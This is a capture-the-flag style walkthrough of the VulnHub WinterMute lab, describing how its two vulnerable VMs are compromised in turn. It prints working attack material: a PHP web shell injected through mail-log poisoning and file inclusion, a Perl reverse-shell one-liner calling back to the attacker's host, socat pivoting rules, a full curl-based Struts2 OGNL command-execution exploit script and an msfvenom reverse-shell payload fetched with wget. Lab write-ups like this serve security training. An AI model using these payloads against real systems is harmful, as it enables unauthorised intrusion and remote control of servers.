This post documents the complete walkthrough of WinterMute: 1, a boot2root VM created by creosote, and hosted at VulnHub. If you are uncomfortable with spoilers, please stop reading now.
On this post
Background
A new OSCP style lab involving 2 vulnerable machines, themed after the cyberpunk classic Neuromancer - a must read for any cyber-security enthusiast. This lab makes use of pivoting and post exploitation, which I’ve found other OSCP prep labs seem to lack. The goal is the get root on both machines. All you need is default Kali Linux.
This is how my network is set up.
192.168.30.0/24 192.168.40.0/24
kali <---------------> straylight <---------------> neuromancer
(.128) (.129) (.128) (.129)
Information Gathering
Let’s start with a nmap
scan to establish the available services in the host.
# nmap -n -v -Pn -p- -A --reason -oN nmap.txt 192.168.30.129
...
PORT STATE SERVICE REASON VERSION
25/tcp open smtp syn-ack ttl 64 Postfix smtpd
|_smtp-commands: straylight, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8,
| ssl-cert: Subject: commonName=straylight
| Subject Alternative Name: DNS:straylight
| Issuer: commonName=straylight
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2018-05-12T18:08:02
| Not valid after: 2028-05-09T18:08:02
| MD5: dd86 99b4 ce4d 71c4 d4b3 aa3f 1642 77fd
|_SHA-1: 6362 9a8f 6e55 8bee b71d eba2 79f9 103f 8f2f 2b8f
|_ssl-date: TLS randomness does not represent time
80/tcp open http syn-ack ttl 64 Apache httpd 2.4.25 ((Debian))
| http-methods:
|_ Supported Methods: HEAD GET POST OPTIONS
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Night City
3000/tcp open http syn-ack ttl 64 Mongoose httpd
| hadoop-datanode-info:
|_ Logs: submit
| hadoop-tasktracker-info:
|_ Logs: submit
|_http-favicon: Unknown favicon MD5: 7FC0953320A93F3BC71770C25A7F4716
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
| http-title: Welcome to ntopng
|_Requested resource was /lua/login.lua?referer=/
|_http-trane-info: Problem with XML parsing of /evox/about
nmap
finds one email-related port, 25/tcp
; and two web-related ports, 80/tcp
and 3000/tcp
. As usual, let’s start with the web-related ones. This is how the site looks like.
It soon redirects to another page.
Directory/File Enumeration
Let’s use gobuster
to see if we can find any extra directories or files.
# gobuster -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -e -t 20 -u http://192.168.30.129/
=====================================================
Gobuster v2.0.0 OJ Reeves (@TheColonial)
=====================================================
[+] Mode : dir
[+] Url/Domain : http://192.168.30.129/
[+] Threads : 20
[+] Wordlist : /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes : 200,204,301,302,307,403
[+] Expanded : true
[+] Timeout : 10s
=====================================================
2018/09/16 07:03:55 Starting gobuster
=====================================================
http://192.168.30.129/manual (Status: 301)
http://192.168.30.129/freeside (Status: 301)
http://192.168.30.129/server-status (Status: 403)
=====================================================
2018/09/16 07:04:39 Finished
=====================================================
Hmm. What do we have here? /freeside/
looks interesting.
That’s the image of the exterior of a Bernal sphere, a.k.a. Freeside.
ntopng
There’s another web-related port, 3000/tcp
and ntopng is running behind it.
It pays to keep your eyes open during such times. After logging in, there are some interesting flows on display.
Be On the Look Out
/turing-bolo/
has something that finally looks like an attack surface.
PHP Injection
There’s a Local File Inclusion (LFI) vulnerability with the bolo
parameter in bolo.php
, demonstrated below.
All four files case.log
, molly.log
, armitage.log
, and riviera.log
are available on the server, indicating the presence of the LFI vulnerability.
After some testing, I found out that directory traversal is not filtered, which is good. However, I can’t bypass the .log
extension with the null byte (%00
) injection technique, which means the PHP filter wrapper technique won’t work as well.
How can I inject PHP into the server?
A quick search in Google for “postfix log location” seems to suggest the logs are at /var/log/mail.log
. This plays well into our hands because of the .log
extension. Let’s explore this path of attack.
Jackpot!
It’ll be awesome if I can inject the following PHP code into the logs.
<?php echo shell_exec($_GET['cmd']);?>
Wait a tick! SMTP is open, isn’t it? I can probably nc
to 25/tcp
and do some damage there.
This is dangerous.
See what I mean? I can probably make use of this to run a reverse shell back.
Anyway, I ran a Perl reverse shell back to my nc
listener at port 1234. The Perl reverse shell is urlencoded to prevent any complications.
Before urlencoding
perl -e 'use Socket;$i="192.168.30.128";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'
After urlencoding
perl%20-e%20%27use%20Socket%3B%24i%3D%22192.168.30.128%22%3B%24p%3D1234%3Bsocket%28S%2CPF_INET%2CSOCK_STREAM%2Cgetprotobyname%28%22tcp%22%29%29%3Bif%28connect%28S%2Csockaddr_in%28%24p%2Cinet_aton%28%24i%29%29%29%29%7Bopen%28STDIN%2C%22%3E%26S%22%29%3Bopen%28STDOUT%2C%22%3E%26S%22%29%3Bopen%28STDERR%2C%22%3E%26S%22%29%3Bexec%28%22%2Fbin%2Fbash%20-i%22%29%3B%7D%3B%27
Copy and paste the urlencoded Perl reverse shell after cmd=
. And … a shell at last.
Privilege Escalation
Long story short. I notice /bin/screen
is a symbolic link to /bin/screen-4.5.0
, which is setuid
to root
. Like they always say, Google is your best friend.
Searching for “screen 4.5.0” in Google landed me in EDB-ID 41154.
The exploit is simple enough—run the bash
script to get root
. Let’s DOOOO this!!!
I am root!
Proof of Purchase for Straylight
Next Attack: Neuromancer
Straylight doesn’t have nmap
to scan Neuromancer but it does have nc
and socat
which is good enough to do network reconnaissance and pivoting.
This touch-and-go method of using nc
as a port scanner is pretty efficient. It uncovers three open ports, 8009/tcp
, 8080/tcp
and 34483/tcp
.
Now, let’s forward the same ports in Straylight to Neuromancer with socat
like so.
# socat tcp-listen:8009,fork tcp:192.168.40.129:8009 &
# socat tcp-listen:8080,fork tcp:192.168.40.129:8080 &
# socat tcp-listen:34483,fork tcp:192.168.40.129:34483 &
Since we are at it, we might as well forward another port in Straylight to my attacking machine in the event a reverse shell from Neuromancer comes knocking.
# socat tcp-listen:4321,fork tcp:192.168.30.128:4321 &
I should now be able to access these ports from my attacking machine.
Struts2 Showcase Remote Command Execution
Once again Google comes to the rescue. Searching for “struts2 showcase exploit” brought me to EDB-ID 42324. Neuromancer lacks certain Python libraries to make the exploit work. As such, I wrote my own exploit script based on curl
.
#!/bin/bash
LHOST=192.168.30.128
LPORT=4321
RHOST=192.168.30.129
RPORT=8080
TARGETURI=struts2_2.3.15.1-showcase/integration
URL=http://$RHOST:$RPORT/$TARGETURI/saveGangster.action
CMD="$1"
PAYLOAD=""
PAYLOAD="${PAYLOAD}%{"
PAYLOAD="${PAYLOAD}(#[email protected]@DEFAULT_MEMBER_ACCESS)."
PAYLOAD="${PAYLOAD}(#_memberAccess?(#_memberAccess=#dm):"
PAYLOAD="${PAYLOAD}((#container=#context['com.opensymphony.xwork2.ActionContext.container'])."
PAYLOAD="${PAYLOAD}(#ognlUtil=#container.getInstance(@[email protected]))."
PAYLOAD="${PAYLOAD}(#ognlUtil.getExcludedPackageNames().clear())."
PAYLOAD="${PAYLOAD}(#ognlUtil.getExcludedClasses().clear())."
PAYLOAD="${PAYLOAD}(#context.setMemberAccess(#dm))))."
PAYLOAD="${PAYLOAD}(@[email protected]().exec('$CMD'))"
PAYLOAD="${PAYLOAD}}"
usage() {
echo "Usage: $(basename $0) [COMMAND]" >&2
exit 1
}
if [ $# -ne 1 ]; then
usage
fi
curl -s \
-H "Referer: http://$RHOST:$RPORT/$TARGETURI/editGangster" \
--data-urlencode "name=$PAYLOAD" \
--data-urlencode "age=20" \
--data-urlencode "__checkbox_bustedBefore=true" \
--data-urlencode "description=1" \
-o /dev/null \
$URL
Let’s give the exploit script a shot and see if I’m able to execute remote commands.
On the exploit script terminal
On the nc
listener terminal
Too bad, this version of nc
doesn’t support the -e
option. And because we are executing shell commands with java.lang.Runtime
, shell-specifics like pipe and redirection may not work.
Well, we can always execute wget
to pull a reverse shell straight to Neuromancer. I can set up a Python SimpleHTTPServer listening at 4321/tcp
on my attacking machine. And because of the port forwarding, any wget
request executed on Neuromancer to Straylight at 4321/tcp
gets to me.
msfvenom
can generate the reverse shell like so.
# msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.40.128 LPORT=4321 -f elf -o rev
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 74 bytes
Final size of elf file: 194 bytes
Saved as: rev
On the exploit script terminal
On the SimpleHTTPServer terminal
All that’s left is to make /tmp/rev
executable and then execute it.
On the exploit script terminal
On the nc
listener terminal
Boom. A shell to Neuromancer!
Privilege Escalation
During enumeration of ta
’s account in Neuromancer, I notice that SSH is active on 34483/tcp
. Good thing, I had set up the port forwarding rules earlier. Now, I can log in to the ta
account with a SSH key-pair I control. This way, I get a far superior shell than the one I’m using now.
Let’s switch shell.
First up, I notice Neuromancer is running Ubuntu 16.04.04 LTS (xenial) with 4.4.0-116-generic kernel. Heck, this is getting easy. Google provides all the answer. Searching for “ubuntu 16.04 4.4.0 exploit” brings me to EDB-ID 44298.
While Neuromancer doesn’t have the necessary build tools, cross-compiling the exploit on my attacking machine is a breeze—no errors, nor warnings whatsoever.
Now, I execute wget
to pull the local privilege escalation exploit straight from my SimpleHTTPServer listening at 4321/tcp
. You haven’t close it, have you?
Proof of Purchase for Neuromancer
With a root
shell, getting the flag on Neuromancer is trivial.
Afterthought
This is definitely a OSCP-worthy VM.